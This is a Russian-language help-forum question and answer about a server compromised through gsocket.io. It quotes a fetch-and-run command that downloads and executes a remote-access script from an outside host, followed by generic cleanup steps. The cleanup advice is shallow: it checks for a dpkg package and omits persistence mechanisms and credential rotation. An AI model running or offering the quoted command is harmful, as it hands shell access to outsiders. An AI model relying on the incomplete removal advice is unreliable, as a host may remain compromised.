PHP Bash Gsocket.io

Вопрос или проблема

Сервер моего клиента был скомпрометирован. Они запускают этот скрипт
bash -c "$(curl -fsSL https://gsocket.io/x)"

и у меня есть несколько папок в /tmp, как указано ниже

-rw-------  1 *** *** 153310 30 Сен 12:07 phpb0wrlJ
-rw-------  1 *** *** 65536 29 Сен 13:50 phpc29KRO
-rw-------  1 *** *** 40960 30 Сен 12:43 phpdrvPac
-rw-------  1 *** *** 49152 29 Сен 14:30 phpOWdcZw

С этого ссылки я знаю, что мой сервер был скомпрометирован.

Как мне избавиться от gsocket? Удалить gsocket полностью?

Спасибо заранее.

Ответ или решение

К сожалению, ваш сервер подвергся компрометации из-за выполнения команды, которая загружает и исполняет скрипт из ненадежного источника – gsocket.io. Данная ситуация вызывает серьезные опасения, поскольку это может привести к утечке данных или дальнейшим взломам. В данном ответе мы подробно рассмотрим, как устранить угрозу и обеспечить безопасность вашего сервера.

1. Анализ ситуации

Выполнение команды:

bash -c "$(curl -fsSL https://gsocket.io/x)"

позволяет злоумышленнику загрузить и выполнить вредоносный сценарий в вашем окружении. Такие сценарии часто используют временные файлы, чтобы скрывать свои действия и создавать дополнительные точки доступа к системе.

2. Определение присутствия вредоносного кода

Существующие временные файлы в каталоге /tmp (например, phpb0wrlJ, phpc29KRO и т.д.) могут содержать вредоносный код. Чтобы выяснить, какие именно данные находятся в этих файлах, выполните следующие шаги:

cat /tmp/phpb0wrlJ

Эту команду нужно выполнить для каждого временного файла, чтобы проанализировать его содержимое. Если файлы содержат PHP-код или другие подозрительные команды, это подтверждает наличие вредоносного ПО.

3. Удаление gsocket.io

Чтобы полностью устранить угрозу gsocket.io с вашего сервера, выполните следующие действия:

  1. Удаление временных файлов:
    Удалите все временные файлы, которые были созданы во время компрометации:

    rm -f /tmp/php*
  2. Остановка процесса:
    Просмотрите текущие процессы, чтобы определить, есть ли активные процессы gsocket.io:

    ps aux | grep gsocket

    Если вы найдете подозрительные процессы, их можно остановить:

    kill -9 <PID>

    Замените <PID> на идентификатор процесса.

  3. Удаление вредоносных компонентов:
    Проверьте наличие редактирования системы или установленных пакетов, связанных с gsocket.io. Выполните следующие команды для проверки установленных пакетов:

    dpkg -l | grep gsocket

    Если пакет обнаружен, его следует удалить:

    sudo apt remove <package-name>

4. Повышение безопасности сервера

После удаления угрозы важно укрепить безопасность вашего сервера:

  • Обновите программное обеспечение:
    Убедитесь, что все пакеты и библиотеки обновлены до последних стабильных версий.

  • Используйте файрвол:
    Настройте файрвол (например, UFW или iptables) для ограничения доступа к серверу.

  • Регулярные проверки и мониторинг:
    Настройте системы мониторинга для отслеживания подозрительной активности и журналов.

  • Создание резервных копий:
    Регулярные резервные копии помогут в случае повторной компрометации.

Заключение

Ваша безопасность – это прежде всего забота. Важно не только удалить существующую угрозу, но и принять меры для предотвращения будущих атак. Применяйте проактивный подход к безопасности вашего сервера и всегда будьте осторожны с командами, которые выполняете из ненадежных источников.

Оцените материал
Добавить комментарий

Капча загружается...